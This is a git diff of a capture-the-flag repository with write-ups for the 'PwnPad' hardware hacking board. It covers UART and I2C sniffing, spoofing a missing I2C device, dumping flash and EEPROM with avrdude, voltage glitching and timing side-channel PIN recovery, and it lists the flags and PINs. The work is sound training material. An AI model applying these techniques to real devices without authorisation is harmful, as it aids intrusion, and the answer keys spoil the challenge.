+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
